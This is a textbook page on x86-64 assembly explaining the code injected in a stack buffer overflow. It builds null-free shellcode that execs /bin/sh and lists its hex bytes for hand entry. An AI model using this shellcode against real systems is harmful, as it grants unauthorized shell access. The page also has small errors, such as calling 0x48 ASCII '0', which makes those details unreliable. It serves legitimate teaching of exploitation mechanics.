Skip to main content
Engineering LibreTexts

15.2: Code to Inject

  • Page ID
    19954
  • \( \newcommand{\vecs}[1]{\overset { \scriptstyle \rightharpoonup} {\mathbf{#1}} } \) \( \newcommand{\vecd}[1]{\overset{-\!-\!\rightharpoonup}{\vphantom{a}\smash {#1}}} \)\(\newcommand{\id}{\mathrm{id}}\) \( \newcommand{\Span}{\mathrm{span}}\) \( \newcommand{\kernel}{\mathrm{null}\,}\) \( \newcommand{\range}{\mathrm{range}\,}\) \( \newcommand{\RealPart}{\mathrm{Re}}\) \( \newcommand{\ImaginaryPart}{\mathrm{Im}}\) \( \newcommand{\Argument}{\mathrm{Arg}}\) \( \newcommand{\norm}[1]{\| #1 \|}\) \( \newcommand{\inner}[2]{\langle #1, #2 \rangle}\) \( \newcommand{\Span}{\mathrm{span}}\) \(\newcommand{\id}{\mathrm{id}}\) \( \newcommand{\Span}{\mathrm{span}}\) \( \newcommand{\kernel}{\mathrm{null}\,}\) \( \newcommand{\range}{\mathrm{range}\,}\) \( \newcommand{\RealPart}{\mathrm{Re}}\) \( \newcommand{\ImaginaryPart}{\mathrm{Im}}\) \( \newcommand{\Argument}{\mathrm{Arg}}\) \( \newcommand{\norm}[1]{\| #1 \|}\) \( \newcommand{\inner}[2]{\langle #1, #2 \rangle}\) \( \newcommand{\Span}{\mathrm{span}}\)\(\newcommand{\AA}{\unicode[.8,0]{x212B}}\)

    Before discussing how the stack buffer overflow might be exploited, we will review what code might be injected. The code to be injected could be many things. We will assume the program is being executed in a controlled environment with no console access for the user. The lack of console access would limit what a user could do ideally to only what the program allowed. This might be the case if the program is server-based interacting with a user through a web or application front-end. The server would be protected from direct user access for obvious security reasons.

    As such, one possible attack vector might be to obtain console access to the back-end server (where such access is normally not allowed).

    There is a system service that can execute another program. Using this system service, exec, we could execute the sh program (shell) which is a standard Linux program. This will create and open a shell providing console access. The newly created shell is limited to the privileges of the process that started it. In a good security environment, the process will be granted only the privileges it requires. In a poor security environment, the process may have additional, unnecessary privileges which would make it easier for an unauthorized black-hat hacker to cause problems.

    Given the following data declarations:

           NULL           equ     0
           progName       db      "/bin/sh", NULL
    

    An example of the exec system service would be as follows:

    ;  Example, system service call for exec.
           mov     rax, 59
           mov     rdi, progName
           syscall
    

    A new console will appear. The reader is encouraged to try this code example and see it work.

    The list file for this code fragment would be as follows:

    40 00000000 48C7C03B000000             mov  rax, 59
    41 00000007 48C7C7[00000000]           mov  rdi, progName
    42 0000000E 0F05                       syscall
    

    Recall that the first column is the line number, the second column is relative address in the code section and the third column is the machine language or the hex representation of the human readable instruction shown in the fourth column. The [00000000] represents the relative address of the string in the data section (progName in this example). It is zero since it is the first (and only) variable in the data section for this example.

    If the machine language shown is entered into memory and executed, a shell or console would be opened. Getting the hex version of the code into memory can only be performed via the keyboard (since there is no direct access to file system). This would be done one character at a time. The 0x48 is the ASCII code for “0”, so “0” could be entered for that byte. However, the 0x0f and many of the other characters are more difficult to enter directly as ASCII.

    The command shell will allow entry of hex code in hex. By typing control key and the left shift followed by a lower-case u and then four hex digits (must be hex), the hex values can be entered one at a time. For example, to enter the 0x3f, it would be;

           CTRL SHIFT u 3 f
    

    This can be done for most of the bytes except the 0x00. The 0x00 is a NULL which is a non-printable ASCII characters (used to mark string terminations). As such, the NULL cannot be entered from the keyboard. Additionally, the [00000000] address would not make sense if the code is injected into another program.

    To address these issues, we can re-write the example code and eliminate the NULL's and change the address reference. The NULL's can be eliminated by using different instructions. For example, setting rax to 59 can be accomplished by xor'ing rax with itself and placing the 59 in al (having already ensured the upper 56 bits are 0 via the xor). The string can be placed on the stack and the current rsp used as the address of the string. The string, “\bin\sh” is 7 bytes and the stack operation will require a push of 8 bytes. Again, the NULL cannot be entered and is not counted. An extra, unnecessary “/” can be added to the string which will not impact the operation providing exactly 8 bytes in the string. Since the architecture is little-endian, in order to ensure that the start of the string is in low memory, it must be in the least significant byte of the push. This will make the string appear backwards.

    The revised program fragment would be as follows:

        xor     rax, rax                    ; clear rax
        push    rax                         ; place NULLs on stack
        mov     rbx, 0x68732f6e69622f2f     ; string -> "//bin/sh"
        push    rbx                         ; put string in memory
        mov     al, 59                      ; call code in rax
        mov     rdi, rsp                    ; rdi = addr of string
        syscall                             ; system call

    The list file for the program fragment would be as follows:

        52 00000013 4831C0                  xor rax, rax
        53 00000016 50                      push rax
        54 00000017 48BB2F2F62696E2F73      mov rbx, 0x68732f6e69622f2f
        55 00000017 68
        56 00000021 53                      push rbx
        57 00000022 B03B                    mov a1, 59
        58 00000024 4889E7                  mov rdi, rsp
        59 00000027 0F05                    syscall
    

    In this revised code, there are no NULL's and the address reference is obtained from the stack pointer (rsp) which points to the correct string.

    There is an assembly language instruction nop which performs no operation with a machine code of 0x90. In this example, the nop instruction is used simply to round out the machine code to an even multiple of 8 bytes.

    The series of hex values that would need to be entered is as follows:

           0x48 0x31 0xC0 0x50 0x48 0xBB 0x2F 0x2F
           0x62 0x69 0x6E 0x2F 0x73 0x68 0x53 0xB0
           0x3B 0x48 0x89 0xE7 0x0F 0x05 0x90 0x90
    

    While somewhat tedious, these characters can be entered by hand.


    This page titled 15.2: Code to Inject is shared under a CC BY-NC-SA license and was authored, remixed, and/or curated by Ed Jorgensen.

    • Was this article helpful?